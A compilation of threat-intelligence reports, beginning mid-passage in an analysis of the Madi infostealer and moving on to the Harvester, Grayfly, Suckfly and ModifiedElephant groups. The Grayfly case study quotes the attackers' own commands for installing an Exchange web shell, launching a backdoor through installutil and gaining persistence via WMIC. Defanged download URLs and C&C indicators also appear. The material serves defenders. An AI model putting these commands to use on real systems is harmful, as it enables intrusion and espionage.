Timer 29: Started During Form Creation (Related to the BIND Command) Timer 29 makes a backup of the executables. The `*.bind*` extension is appended to their original name. Many files are used to monitor the exfiltration status of the executables. However, Timer 29 doesn't seem to exfiltrate anything, probably due to bugs. ### Timer 9: Check for Files Ready to be Uploaded **Interval:** 5 seconds Timer 9 is disabled. If either Timer 19 or Timer 20 is enabled, it means there is already an active exfiltrating task. Timer 9 is enabled and returns. Otherwise, Timer 9 searches for files `*.*KILOP` as well as `*.htm.BMH*` files in the malware directory. If no file is found, Timer 9 is enabled and returned. If files are present, they are ready to be exfiltrated, and Timer 19 is enabled. ### Timer 19: Check if IE Instrumentation has been Used to Visit the Upload Page **Interval:** 25 seconds Timer 19 searches for a specific page title. If the page title "new title hastam - Microsoft Internet Explorer" is found, Timer 19 returns. If "OKshodiha - Windows Internet Explorer" means a file is ready to be uploaded, Timer 20 is enabled and returns. If none of those captions are found, Timer 19 starts IE instrumentation and visits the `Sendfilejj.html` page, enabling Timer 20, then returns. ### Timer 20: File Upload Timer 20 searches for `*.*KILOP` files, computes the BOTID, and fills the POST parameters. The files are sent via the `Sendfilejj.html` page hosted on the C&C, which is a wrapper for the `sik.php` script used to receive exfiltrated data. ### Timer 5: Base64 Encoder for Exfiltrated Data **Interval:** 1 millisecond When triggered, it disables Timer 5, searches for `*.*BMH` files in the malware folder. When one file is found, it checks if the file is indeed on the disk and accessible. It Base64 encodes it and saves it as `nameoffile.BMH.KILOP`. The non-encoded version (BMH) is deleted, Timer 5 is re-enabled, and it returns. ### Timer 21: Filesend.xls Parser `Filesend.xls` has a list of files to exfiltrate. Upon execution, Timer 21 is disabled. If `filesend.xls` is present, it is opened and read. All the files to be exfiltrated are separated by the "*" character. ### Timer 10: Tracking What Was Uploaded and Cleaning IE Instrumentation Pages When a file has been uploaded using Timer 20, a POST is made to the `sik.php` file. Timer 10 is responsible for keeping track of some of the uploaded files. Exfiltrated files are added to the `rafteha.zip`, which lists the files that have already been handled. ### Timer 15: Check for "filesend.xls" Timer 15 is disabled upon execution and checks for `filesend.xls`. If present, Timer 15 is enabled and returns. If not, it checks whether Timer 1 is enabled. If Timer 1 is enabled, it enables Timer 15 and returns. If `filesend.xls` isn't present and both Timer 1 and Timer 18 are disabled, it creates a `pangtkp.bat` file, which contains a ping command. That bat is executed, and both Timer 1 and 5 are enabled before returning. ### Timer 23: List All Removable Drives on the Machine Timer 23 lists all the removable drives on the machine, enables Timer 24, Timer 23 disables itself, and returns. ### Timer 24: Search and Copy Files from Removable Drives Timer 24 receives the list of removable drives computed by Timer 23 and searches all the files on the devices. Stolen files will be copied to the malware directory with `fildik.BMH` extensions, which will later be encoded as `fildik.BMH.KILOP` (Base64) and exfiltrated. ## Miscellaneous The infostealer contains 52 timers. Some of them do not perform any important tasks. The authors decided to ping the C&C server and save the results under specific file names. This is pretty amateurish programming. ### Timer 44: Simple Ping via pangtipo.bat Timer 44 is disabled upon execution. It checks whether Timer 45 is enabled and returns if it is. If Timer 45 is disabled, a `pangtipo.bat` file is created, which contains a ping command. The bat file is executed, Timer 44 is enabled, and Timer 44 returns. ### Timer 11: Simple Ping from pangtip.bat Timer 11 is disabled upon execution. If Timer 16 is already enabled, Timer 11 re-enables itself and returns. If Timer 17 is already enabled, Timer 11 re-enables itself and returns. If none of the timers are enabled, it creates the `pangtip.bat` file, which contains a ping command and executes it. ### Timer 7: Was "timeip.php" Visited? Timer 7 checks whether the `timeip.php` page was visited. If not, it visits the page using IE instrumentation, disables itself, and enables Timer 8. ### Timer 8: Parse the Results of the timeip.php Visit The `timeip.php` script returns the current time and the IP address of the victim. The results of the visit are saved into a buffer used during the keylogger log creation. ### Timer 22: Ensure There is a Backup Copy of UpdateOffice (Downloader) Timer 22 checks if `UpdateOffice.exe` is present in the infostealer directory. If not, it calls a subroutine to get the path to the `Printhood` directory. It tries to copy `UpdateOffice.exe` as `srAntiq.dll` in the Templates folder. ### Timer 25: Check for "fsdiskget.dll" Timer 25 checks if `fsdiskget.dll` is present in the malware directory; if not, it returns. If the file is present, it enables Timer 23. ### Timer 42: lbdiskgo.dll, soltanik.dll, and res.exe Checking Timer 42 checks whether a flag is set to 0 and if `lbdiskgo.dll`, `soltanik.exe`, and `res.exe` are present. If they are, it enables Timer 33; otherwise, it returns. ### Timer 43: lbdiskgo.dll / ladine.dll / res.exe Checking Timer 43 returns directly if neither `lbdiskgo.dll` nor `ladine.dll` are present. If `res.exe` is present, it enables Timer 44 and Timer 48; otherwise, it returns. ### Timer 45: Visit the ReReReRe.htm Page Timer 45 deletes `pangtipo.bat`, reads `iexplore.pkxml` to ensure the C&C replied. It checks whether IE Instrumentation has been used to visit the special `ReReReRe.html` page. ### Timer 46: Parse "ReReReRe.htm" (Downloaded by Timer 45) Timer 46 goes through all the different running instances of instrumented IE, looking at the title of each HTM page. It looks for a special EOF marker: "tamamshodfile". Once confirmed, it looks for the textarea id S1, which holds double Base64 encoded PE Files. ### Timer 47: Double Decoding of Base64 Encoded Payload from ReReReRe.htm Timer 47 saves the payload as `ASLASLKK223.dll`. The payload file is double encoded, decoded in two steps to get the final PE file. ### Timer 49: Visit the SeSeSeSe.htm Page Timer 49 is almost identical to Timer 45, visiting `SeSeSeSe.htm` instead. ### Timer 50: Parse "SeSeSeSe.htm" (Downloaded by Timer 49) Timer 50 is almost identical to Timer 46, parsing `SeSeSeSe.htm`. ### Timer 51: Double Decoding of Base64 Encoded Payload from SeSeSeSe.htm Timer 51 saves the payload as `ASLASLKK2231.dll`. The payload file is double encoded, decoded in two steps to get the final PE file. ## Conclusions In this article, we closely analyzed the infostealer used in the Madi campaign. The coding style and the usage of Delphi, along with the programming techniques, indicate a rudimentary approach. Most of the data-stealing actions and communication with the C&C servers take place via external files, which is rather messy. Despite its low sophistication, the campaign was surprisingly effective, with over 800 victims connected to the servers. The components of the Madi campaign are surprisingly unsophisticated, with no exploits or advanced 0-day techniques used. Nevertheless, even low-quality malware can steal data, making Madi a low investment, high profit project. Its authors remain unknown. We will continue to monitor the Madi malware and update you on our findings in the future.
# Harvester: Nation-state-backed group uses new toolset to target victims in South Asia A previously unseen actor, likely nation-state-backed, is targeting organizations in South Asia, with a focus on Afghanistan, in what appears to be an information-stealing campaign using a new toolset. The Harvester group uses both custom malware and publicly available tools in its attacks, which began in June 2021, with the most recent activity seen in October 2021. Sectors targeted include telecommunications, government, and information technology (IT). The capabilities of the tools, their custom development, and the victims targeted all suggest that Harvester is a nation-state-backed actor. ## New toolset deployed The most notable thing about this campaign is the previously unseen toolset deployed by the attackers. The attackers deployed a custom backdoor called Backdoor.Graphon on victim machines alongside other downloaders and screenshot tools that provided the attackers with remote access and allowed them to spy on user activities and exfiltrate information. We do not know the initial infection vector that Harvester used to compromise victim networks, but the first evidence we found of Harvester activity on victim machines was a malicious URL. The group then started to deploy various tools, including its custom Graphon backdoor, to gain remote access to the network. The group also tried to blend its activity in with legitimate network traffic by leveraging legitimate CloudFront and Microsoft infrastructure for its command and control (C&C) activity. ### Tools used: - **Backdoor.Graphon** - custom backdoor that uses Microsoft infrastructure for its C&C activity - **Custom Downloader** - uses Microsoft infrastructure for its C&C activity - **Custom Screenshotter** - periodically logs screenshots to a file - **Cobalt Strike Beacon** - uses CloudFront infrastructure for its C&C activity (Cobalt Strike is an off-the-shelf tool that can be used to execute commands, inject other processes, elevate current processes, or impersonate other processes, and upload and download files) - **Metasploit** - an off-the-shelf modular framework that can be used for a variety of malicious purposes on victim machines, including privilege escalation, screen capture, to set up a persistent backdoor, and more. The custom downloader used by the attackers leverages the Costura Assembly Loader. Once on a victim machine, it checks if the following file exists: `[ARTEFACTS_FOLDER]\winser.dll`. If the file does not exist, it downloads a copy from the following URL: `hxxps://outportal[.]azurewebsites.net/api/Values_V2/Getting3210`. Next, the sample creates the following file if it does not exist: `"[ARTEFACTS_FOLDER]\Microsoft Services[.]vbs"`. Then it sets the following registry value to create a loadpoint: `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"MicrosoftSystemServices" = "[ARTEFACTS_FOLDER]\Microsoft Services[.]vbs"`. Finally, it opens an embedded web browser within its own UI using the following URL: `hxxps://usedust[.]com`. While it initially appeared that this URL may have been a loadpoint for Backdoor.Graphon, upon further investigation it appears to be a decoy to confuse any affected users. Backdoor.Graphon is compiled as a .NET PE DLL with export “Main” and the following PDB file name: `D:\OfficeProjects\Updated Working Due to Submission\4.5\Outlook_4.5\Outlook 4.5.2 32 bit New without presistancy\NPServices\bin\x86\Debug\NPServices[.]pdb`. When this is executed, it attempts to communicate with the attackers’ C&C servers, which are hosted on Microsoft infrastructure. The attackers then run commands to control their input stream and capture the output and error streams. They also periodically send GET requests to the C&C server, with the content of any returned messages extracted and then deleted. Data that cmd.exe pulled from the output and error streams is encrypted and sent back to the attackers’ servers. The custom screenshot tool was also packed with the Costura Assembly Loader. The screenshot tool takes photos that it saves to a password-protected ZIP archive for exfiltration, with all archives older than a week deleted. ## Ongoing activity While we do not have enough evidence yet to attribute Harvester’s activity to a specific nation state, the group’s use of custom backdoors, the extensive steps taken to hide its malicious activity, and its targeting all point to it being a state-sponsored actor. Harvester’s use of legitimate infrastructure to host its C&C servers in order to blend in with normal network traffic is one example of the stealthy steps taken by this actor. The targeting of organizations in Afghanistan in this campaign is also interesting given the huge upheaval seen in that country recently. The activity carried out by Harvester makes it clear the purpose of this campaign is espionage, which is the typical motivation behind nation-state-backed activity. That Harvester’s most recent activity was seen earlier this month means that organizations in the sectors and geographies mentioned should be alert to the malicious activity outlined in this blog. ## Protection **File based:** - Backdoor.Graphon For the latest protection updates, please visit the Symantec Protection Bulletin. ## Indicators of Compromise - 0740cc87a7d028ad45a3d54540b91c4d90b6fc54d83bb01842cf23348b25bc42 - 303f93cc47c58e64665f9e447ac11efe5b83f0cfe4253f3ff62dd7504ee935e0 - 3c34c23aef8934651937c31be7420d2fc8a22ca260f5afdda0f08f4d3730ae59 - 3c8fa5cc50eb678d9353c9f94430eeaa74b36270c13ba094dc5c124259f0dc31 - 470cd1645d1da5566eef36c6e0b2a8ed510383657c4030180eb0083358813cd3 - 691e170c5e42dd7d488b9d47396b633a981640f8ab890032246bf37704d4d865 - a4935e31150a9d6cd00c5a69b40496fea0e6b49bf76f123ea34c3b7ea6f86ce6 - c4b6d7e88a63945f3e0768657e299d2d3a4087266b4fc6b1498e2435e311f5d1 - cb5e40c6702e8fe9aa64405afe462b76e6fe9479196bb58118ee42aba0641c04 - d84a9f7b1d70d83bd3519c4f2c108af93b307e8f7457e72e61f3fa7eb03a5f0d - f4a77e9970d53fe7467bdd963e8d1ce44a2d74e3e4262cd55bb67e7b3001c989 **URL** - `hxxps://perfect-couple.com/perfectcouple[.]exe` – sample was downloaded from this address.
# Grayfly: Chinese Threat Actor Uses Newly-discovered Sidewalk Malware Symantec, part of Broadcom Software, has linked the recently discovered Sidewalk backdoor to the China-linked Grayfly espionage group. The malware, which is related to the older Crosswalk backdoor (Backdoor.Motnug), has been deployed in recent Grayfly campaigns against a number of organizations in Taiwan, Vietnam, the United States, and Mexico. A feature of this recent campaign was that a large number of targets were in the telecoms sector. The group also attacked organizations in the IT, media, and finance sectors. Sidewalk was recently documented by ESET, who attributed it to a new group it called SparklingGoblin, which it linked to the Winnti malware family. Symantec’s Threat Hunter Team has attributed Sidewalk to Grayfly, a longstanding Chinese espionage operation. Members of the group were indicted in the U.S. in 2020. The recent campaign involving Sidewalk suggests that Grayfly has been undeterred by the publicity surrounding the indictments. ## Who are Grayfly? Grayfly (aka GREF and Wicked Panda) is a targeted attack group that has been active since at least March 2017 using a custom backdoor known as Backdoor.Motnug (aka TOMMYGUN/CROSSWALK), a custom loader called Trojan.Chattak, Cobalt Strike (aka Trojan.Agentemis), and ancillary tools in its attacks. Grayfly has been observed targeting a number of countries in Asia, Europe, and North America across a variety of industries, including food, financial, healthcare, hospitality, manufacturing, and telecommunications. In more recent activity, Grayfly has continued with its focus on telecommunications but has also been observed targeting organizations operating within the media, finance, and IT service provider sectors. Typically, Grayfly targets publicly facing web servers to install web shells for initial intrusion, before spreading further within the network. Once a network has been compromised, Grayfly may install its custom backdoors onto additional systems. These tools allow the attackers to have comprehensive remote access to the network and proxy connections allowing them to access hard-to-reach segments of a target's network. Although sometimes labeled APT41, we consider Grayfly the espionage arm of APT41. Similarly, Symantec tracks other sub-groups of APT41 separately, such as Blackfly, its cyber-crime arm. ## Sidewalk campaign A characteristic of the recent campaign was that the group appeared to be particularly interested in attacking exposed Microsoft Exchange or MySQL servers. This suggests that the initial vector may be the exploit of multiple vulnerabilities against public-facing servers. In at least one attack, the suspicious Exchange activity was followed by PowerShell commands used to install an unidentified web shell. Following this, the malicious backdoor was executed. After the installation of the backdoor, the attackers deployed a custom version of the credential-dumping tool Mimikatz. This version of Mimikatz has been used previously in Grayfly attacks. ### Victim case study The first indication of attacker activity was identified at 20:39 local time, where a Base64-encoded PowerShell command was executed via a legitimate Exchange Server-related process. The command was used to execute certutil to decode and install a web shell: ``` certutil -decode -f C:\Windows\Temp\ImportContactList_-.aspx C:\Windows\Temp\ImportContactList.aspx;if((dir C:\Windows\Temp\ImportContactList.aspx).Length -eq 212){Remove-Item -Force C:\Windows\Temp\ImportContactList_*-*.aspx}* ``` Next, another Base64-encoded PowerShell command was executed. This command was used to move the web shell to the Exchange install path, accessible by the attackers – specifically the ClientAccess\ecp directory. ``` mv C:\Windows\Temp\ImportContactList.aspx $envExchangeInstallPath\ClientAccess\esp\ -Force ``` Several minutes later, a backdoor was executed via installutil.exe: ``` CSIDL_WINDOWS\microsoft.net\framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /ParentProc=none /U CSIDL_WINDOWS\microsoft.net\framework64\v4.0.30319\microsoft.webapi.config ``` Roughly an hour later, the attackers were observed executing a WMIC command in order to run a Windows batch file. This file was used to create a scheduled task to execute the backdoor and ensure persistence: ``` WMIC /NODE:"172.16.140.234" process call create "cmd.exe /c c:\users\public\schtask.bat" ``` Shortly after this, Mimikatz was executed to dump credentials: ``` sha2:b3eb783b017da32e33d19670b39eae0b11de8e983891dd4feb873d6e9333608d (Mimikatz) - csidl_system_drive\perflogs\ulsassx64.exe ``` After this point, no further activity was observed. ## Indictments Three Chinese men were indicted in the U.S. in 2020 for their involvement in attacks that involved Grayfly tools and tactics. At the time of the indictment, Jiang Lizhi, Qian Chuan, and Fu Qiang were based in the Chinese city of Chengdu and held senior positions in a company called Chengdu 404. The company describes itself as a network security specialist and claims to employ a team of white hat hackers who can perform penetration testing along with other security operations. The indictment charged the men with involvement in attacks against over 100 different organizations in the U.S., South Korea, Japan, India, Taiwan, Hong Kong, Malaysia, Vietnam, India, Pakistan, Australia, the United Kingdom, Chile, Indonesia, Singapore, and Thailand. Jiang was said to have a “working relationship” with the Chinese Ministry of State Security which would provide him and his associates with a degree of state protection. ## Likely to continue Grayfly is a capable actor, likely to continue to pose a risk to organizations in Asia and Europe across a variety of industries, including telecommunications, finance, and media. It's likely this group will continue to develop and improve its custom tools to enhance evasion tactics along with using commodity tools such as publicly available exploits and web shells to assist in their attacks. ## Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin. ## About the Author **Threat Hunter Team** Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
# An Overview of FinTech Threat Landscape Research shows that there has been a considerable increase in digital threats targeting financial firms since the onset of the pandemic. The statistical reports released between 2020-2021 show that cyber-attacks on financial firms and services have increased by 238%. Out of these attacks, nearly 75% of the victims were banks and insurance companies. Attackers have been widely targeting financial institutions such as banks and insurance companies, which we observed more frequently since the onset of the pandemic. Attackers benefit monetarily by misusing and selling sensitive Personally Identifiable Information (PII) such as customer details, Social Security Numbers (SSN), driver’s licenses, bank account details, and transactional records. Attackers gain access to the system by exploiting any security vulnerabilities that they can identify. Attackers also leverage Advanced Persistent Threats (APT) campaigns towards financial institutions for sensitive data extortion. One such example, “APT34”, is a suspected Iranian group targeting financial institutions. A few banking botnets and spyware variants such as DanaBot and TrickBot, which initially targeted specific areas, have expanded into other regions like Europe and Asia. Over 100 financial groups were targeted using Distributed Denial of Service (DDoS) attacks executed via their zombie networks. The US Department of Treasury’s Financial Crimes Enforcement Network published a report stating that approximately a billion dollars were stolen from financial institutions each month because of cybercrime activity. Interestingly, we observed a rise in attacks on mobile users using fake banking apps aimed at major financial institutions. Attacks on financial firms are often state-sponsored, aimed against a specific country’s economic situation. ## Some of the collective threats that target financial institutions are: - Phishing - Brute-Force - Ransomware - Stealer/Bot (Spyware) - Trojan ### Tactics: After compromising the financial institution’s data, the attackers use the sensitive information gathered to launch a more sophisticated attack on their consumers. Another method used by attackers is to target the financial firms by identifying the loopholes in the services provided by these institutions, such as e-commerce, net banking, payment transactions online, and cryptocurrency services. Around 94% of attacks observed targeting financial firms are performed using common cybercrime tactics such as spear phishing, social engineering, and watering hole attacks. Attackers also combine and reuse old but effective malware variants such as the FakeSpy Android banking trojan, which spreads via smishing messages and steals sensitive information from the victim’s device. Telecommunication networks and companies also play a crucial role in financial transactions for security and 2-factor authentication mechanisms such as One-Time-Password (OTP). Before attacking the customers, attackers utilize malicious applications which have already been installed on the victim’s device to gain knowledge about the network service provider. They then employ this information to compromise and disrupt the OTPs required for verification of transactions and hijacking and rerouting the text messages. ### Threats: Attackers use open-source and social engineering tools to build customized malware for the specific purpose of targeting financial sectors. The attackers constantly refine malware variants by adding additional features to automate the exfiltration of stolen data and funds. Banking malware is one of the best examples of an Automation Transfer System (ATS) engine and a web injection script to automate the fund-initiated bypassing authentication mechanism. Some of the top cybersecurity threats that target financial services captured in our regular threat intelligence were analyzed, and information regarding these threats is shared below. ### Endpoint Threats: The threat landscape is growing day by day with various methods and techniques, which expands potential attack surfaces. Among many endpoint threats, the topmost persistent attacks that target financial sectors are phishing and ransomware attacks. Based on our research, we’ve listed detailed information on endpoint threats below: #### Phishing Attacks: Attackers use phishing as the most common tool to target financial sectors. The ease of access and minimum technical knowledge required in building phishing campaigns to launch malware attacks make it the preferred method of attacking financial firms for several attackers. Statistical reports published by the FBI and Statista reveal that about 40% of attacks that target financial firms use various phishing emails and URLs. The most impersonated cloud brand and social media brands are Microsoft and Google, respectively. Attackers routinely create fake Microsoft login pages to steal PII data. #### Banking Malware: Spyware is another commonly used tool to target financial sectors and steal credentials, identity, and sensitive data. Stealer and Bots are spyware variants that the attackers commonly use to target financial firms, and they are generically called Banking Malware. Banking malware targets personal computers (PCs) and mobile devices, which steals the credentials used to conduct online payments and transactions. Some of the functionalities that banking malware can perform upon successful installation on the device are: - Stealing usernames and passwords from online banking services - Collecting data such as the user’s banking information (cardholder name, card number, CVV, and expiration date) - Gathering call logs and contacts - Reading SMS content from the device and storing the data within the device - Reading SMS notifications, such as financial transactions, received from the user’s device - Collecting the machine’s information - Having a keylogger functionality These variants of banking malware, which are also known as Banking Trojan or BankBot, frequently targeting financial firms are listed below: - Cerberus - Aberebot - SpyEye - TrickBot - DanaBot - Anubis According to a recent report by Heimdal and Securelist, Zbot malware, commonly known as Zeus, is the most notorious trojan among the banking malware families, accounting for 25% of all attacks. SpyEye accounts for a further 15%, with TrickBot & DanaBot each accounting for 5% of all infections. Cybercriminals also sell the sensitive details they have extracted from various institutions and third-party services. These details include sensitive PII data and credit card numbers. ### Third-Party Attacks: Most financial institutions depend on third parties, vendors, or partners services like software services, analytics, web hosting, etc. Leveraging third parties for non-critical tasks allows financial firms to prioritize their primary business objectives. The use of third-party services carries many perks; however, there are also some security risks associated with them. This quarter, we have seen how ransomware attacks on Kaseya impacted several businesses, and similar attacks can lead to attacks increasing the Maximum Tolerable Downtime (MTD). Data breaches on service providers can impact their clients, as we recently observed in one of the Blackmatter ransomware attacks. This attack disrupted the victim’s services and revealed sensitive information belonging to their clients. ### Trends: A surge in ransomware attacks was observed in the year 2021 as a part of our research. Ransomware attacks typically encrypt the data on the targeted device. Before the encryption stage, however, these groups extract the sensitive data. The attacker then demands a ransom based on this sensitive data. If the victim is unable to pay the ransom, they extort the victim by leaking the collected sensitive data on public forums. Based on these findings, cybercrime, in general, has seen an increase with a focus on attacks targeting financial firms. Attackers use various social engineering tools to spread malware and use multiple techniques to evade detection mechanisms. Along with enhancing the security methods used by financial organizations, the attackers simultaneously develop malware with customized techniques, such as automatically performing the malicious activity instead of relying on the manual commands pushed from the attacker’s Command-and-Control Server. Implementing a better endpoint security and threat intelligence platform by the organization could prevent them from becoming victims of malware targeting the financial sector. ### Recommendations: 1. Impose strict identity and access management policies. 2. Keep track of vulnerabilities being targeted by attackers. 3. Identify the Tactics, Techniques, and Procedures (TTP) of the TAs. 4. Monitor TA activities on the web. 5. Use a reputed antivirus and Internet security software package on your connected devices, including PC, laptop, and mobile. 6. Refrain from opening untrusted links and email attachments without verifying their authenticity. 7. Conduct regular backup practices and keep those backups offline or in a separate network.
# Suckfly: Revealing the Secret Life of Your Code Signing Certificates A China-based APT group has an insatiable appetite for stolen code-signing certificates. **By:** Jon DiMaggio, Symantec Employee **Created:** 15 Mar 2016 Many security-minded organizations utilize code signing to provide an additional layer of security and authenticity for their software and files. Code signing is carried out using a type of digital certificate known as a code-signing certificate. The process of code signing validates the authenticity of legitimate software by confirming that an application is from the organization that signed it. While code-signing certificates can offer more security, they can also live an unintended secret life providing cover for attack groups, such as the Suckfly APT group. In late 2015, Symantec identified suspicious activity involving a hacking tool used in a malicious manner against one of our customers. Normally, this is considered a low-level alert easily defeated by security software. In this case, however, the hacktool had an unusual characteristic not typically seen with this type of file; it was signed with a valid code-signing certificate. Many hacktools are made for less than ethical purposes and are freely available, so this was an initial red flag, which led us to investigate further. As our investigation continued, we soon realized this was much larger than a few hacktools. We discovered Suckfly, an advanced threat group, conducting targeted attacks using multiple stolen certificates, as well as hacktools and custom malware. The group had obtained the certificates through pre-attack operations before commencing targeted attacks against a number of government and commercial organizations spread across multiple continents over a two-year period. This type of activity and the malicious use of stolen certificates emphasizes the importance of safeguarding certificates to prevent them from being used maliciously. ## An Appetite for Stolen Code-Signing Certificates Suckfly has a number of hacktools and malware varieties at its disposal. The first signed hacktool we identified in late 2015 was a digitally signed brute-force server message block (SMB) scanner. The organization associated with this certificate is a South Korean mobile software developer. While we became initially curious because the hacktool was signed, we became more suspicious when we realized a mobile software developer had signed it, since this is not the type of software typically associated with a mobile application. Based on this discovery, we began to look for other binaries signed with the South Korean mobile software developer's certificate. This led to the discovery of three additional hacktools also signed using this certificate. In addition to being signed with a stolen certificate, the identified hacktools had been used in suspicious activity against a US-based health provider operating in India. This evidence indicates that the certificate’s rightful owner either misused it or it had been stolen from them. Symantec worked with the certificate owner to confirm that the hacktool was not associated with them. Following the trail further, we traced malicious traffic back to where it originated from and looked for additional evidence to indicate that the attacker persistently used the same infrastructure. We discovered the activity originated from three separate IP addresses, all located in Chengdu, China. In addition to the traffic originating from Chengdu, we identified a selection of hacktools and malware signed using nine stolen certificates. The nine stolen certificates originated from nine different companies who are physically located close together around the central districts of Seoul, South Korea. While we do not know the exact circumstances of how the certificates were stolen, the most likely scenario was that the companies were breached with malware that had the ability to search for and extract certificates from within the organization. We have seen this capability built into a wide range of threats for a number of years now. ## A Timeline of Misuse We don't know the exact date Suckfly stole the certificates from the South Korean organizations. However, by analyzing the dates when we first saw the certificates paired with hacktools or malware, we can gain insight into when the certificates may have been stolen. The first sighting of three of the nine stolen certificates being used maliciously occurred in early 2014. Those three certificates were the only ones used in 2014, making it likely that the other six were not compromised until 2015. All nine certificates were used maliciously in 2015. Based on the data, the first certificates used belonged to Company A (educational software developer) and Company B (video game developer #2). Company A's certificate was used for over a year, from April 2014 until June 2015, and Company B's certificate was used for almost a year, from July 2014 until June 2015. When we discovered this activity, neither company was aware that their certificates had been stolen or how they were being used. Since the companies were unaware of the activity, neither stolen certificate had been revoked. ## Signed, Sealed, and Delivered As noted earlier, the stolen certificates Symantec identified in this investigation were used to sign both hacking tools and malware. Further analysis of the malware identified what looks like a custom back door. We believe Suckfly specifically developed the back door for use in cyberespionage campaigns. Symantec detects this threat as Backdoor.Nidiran. Analysis of Nidiran samples determined that the back door had been updated three times since early 2014, which fits the timeline outlined. The modifications were minor and likely performed to add capabilities and avoid detection. While the malware is custom, it only provides the attackers with standard back door capabilities. Suckfly delivered Nidiran through a strategic web compromise. Specifically, the threat group used a specially crafted web page to deliver an exploit for the Microsoft Windows OLE Remote Code Execution Vulnerability (CVE-2014-6332), which affects specific versions of Microsoft Windows. This exploit is triggered when a potential victim browses to a malicious page using Internet Explorer, which can allow the attacker to execute code with the same privileges as the currently logged-in user. Once the exploit has been achieved, Nidiran is delivered through a self-extracting executable that extracts the components to a .tmp folder after it has been executed. The threat then executes “svchost.exe,” a PE file, which is actually a clean tool known as OLEVIEW.EXE. The executable will then load iviewers.dll, which is normally a clean, legitimate file. Attackers have been known to distribute malicious files masquerading as the legitimate iviewers.dll file and then use DLL load hijacking to execute the malicious code and infect the computer. This technique is associated with the Korplug/Plug-x malware and is frequently used in China-based cyberespionage activity. ## High Demand for Code-Signing Certificates Suckfly isn’t the only attack group to use certificates to sign malware but they may be the most prolific collectors of them. After all, Stuxnet, widely regarded as the world’s first known cyberweapon, was signed using stolen certificates from companies based in Taiwan with dates much earlier than Suckfly. Other cyberespionage groups, including Black Vine and Hidden Lynx, have also used stolen certificates in their campaigns. In April 2013, a third-party vendor published a report about a cyberespionage group using custom malware and stolen certificates in their operations. The report documented an advanced threat group they attributed to China. Symantec tracks the group behind this activity as Blackfly and detects the malware they use as Backdoor.Winnti. The Blackfly attacks share some similarities with the more recent Suckfly attacks. Blackfly began with a campaign to steal certificates, which were later used to sign malware used in targeted attacks. The certificates Blackfly stole were also from South Korean companies, primarily in the video game and software development industry. Another similarity is that Suckfly stole a certificate from Company D less than two years after Blackfly had stolen a certificate from the same company. While the stolen certificates were different, and stolen in separate instances, they were both used with custom malware in targeted attacks originating from China. ## Why Do Attackers Want Signed Malware? Signing malware with code-signing certificates is becoming more common, as seen in this investigation and the other attacks we have discussed. Attackers are taking the time and effort to steal certificates because it is becoming necessary to gain a foothold on a targeted computer. Attempts to sign malware with code-signing certificates have become more common as the Internet and security systems have moved towards a more trust and reputation-oriented model. This means that untrusted software may not be allowed to run unless it is signed. As we noted in our previous research on the Apple threat landscape, some operating systems, such as Mac OS X, are configured by default to only allow applications to run if they have been signed with a valid certificate, meaning they are trusted. However, using valid code-signing certificates stolen from organizations with a positive reputation can allow attackers to piggyback on that company’s trust, making it easier to slip by these defenses and gain access to targeted computers. ## Conclusion Suckfly paints a stark picture of where cyberattack groups and cybercriminals are focusing their attentions. Our investigation shines a light on an often unknown and seedier secret life of code-signing certificates, which is completely unknown to their owners. The implications of this study show that certificate owners need to keep a careful eye on them to prevent them from falling into the wrong hands. It is important to give certificates the protection they need so they can't be used maliciously. The certificates are only as secure as the safeguards that organizations put around them. Once a certificate has been compromised, so has the reputation of the organization that signed it. An organization whose certificate has been stolen and used to sign malware will always be associated with that activity. Symantec monitors for this type of activity to help prevent organizations from being tied to malicious actions undertaken with their stolen certificates. During the course of this investigation, we ensured that all certificates compromised by Suckfly were revoked and the affected companies notified. Over the past few years, we have seen a number of advanced threats and cybercrime groups who have stolen code-signing certificates. In all of the cases involving an advanced threat, the certificates were used to disguise malware as a legitimate file or application. As this trend grows, it is more important than ever for organizations to maintain strong cybersecurity practices and store their certificates and corresponding keys in a secure environment. Using encryption, and services such as Symantec’s Extended Validation (EV) Code Signing, and Symantec’s Secure App Service can provide additional layers of security. ## Protection Symantec has the following detections in place to protect against Suckfly’s malware: **Antivirus** - Backdoor.Nidiran - Backdoor.Nidiran!g1 - Hacktool - Exp.CVE-2014-6332 **Intrusion Prevention System** - Web Attack: Microsoft OleAut32 RCE CVE-2014-6332 - Web Attack: Microsoft OleAut32 RCE CVE-2014-6332 2 - Web Attack: Microsoft OleAut32 RCE CVE-2014-6332 4 - Web Attack: OLEAUT32 CVE-2014-6332 3 - System Infected: Trojan.Backdoor Activity 120 ## Indicators of Compromise **File Hashes** - 05edd53508c55b9dd64129e944662c0d - 1cf5ce3e3ea310b0f7ce72a94659ff54 - 352eede25c74775e6102a095fb49da8c - 3b595d3e63537da654de29dd01793059 - 4709395fb143c212891138b98460e958 - 50f4464d0fc20d1932a12484a1db4342 - 96c317b0b1b14aadfb5a20a03771f85f - ba7b1392b799c8761349e7728c2656dd - de5057e579be9e3c53e50f97a9b1832b - e7d92039ffc2f07496fe7657d982c80f - e864f32151d6afd0a3491f432c2bb7a2 **Infrastructure** - usv0503.iqservs-jp.com - aux.robertstockdill.com - fli.fedora-dns-update.com - bss.pvtcdn.com - ssl.microsoft-security-center.com - ssl.2upgrades.com - 133.242.134.121 - fli.fedora-dns-update.com
# ModifiedElephant APT and a Decade of Fabricating Evidence **Tom Hegel** ## Executive Summary Our research attributes a decade of activity to a threat actor we call ModifiedElephant. ModifiedElephant is responsible for targeted attacks on human rights activists, human rights defenders, academics, and lawyers across India with the objective of planting incriminating digital evidence. ModifiedElephant has been operating since at least 2012 and has repeatedly targeted specific individuals. ModifiedElephant operates through the use of commercially available remote access trojans (RATs) and has potential ties to the commercial surveillance industry. The threat actor uses spearphishing with malicious documents to deliver malware, such as NetWire, DarkComet, and simple keyloggers with infrastructure overlaps that allow us to connect long periods of previously unattributed malicious activity. ## Background In September 2021, SentinelLabs published research into the operations of a Turkish-nexus threat actor we called EGoManiac, drawing attention to their practice of planting incriminating evidence on the systems of journalists to justify arrests by the Turkish National Police. A threat actor willing to frame and incarcerate vulnerable opponents is a critically underreported dimension of the cyber threat landscape that brings up uncomfortable questions about the integrity of devices introduced as evidence. Emerging details in an unrelated case caught our attention as a potentially similar scenario worthy of more 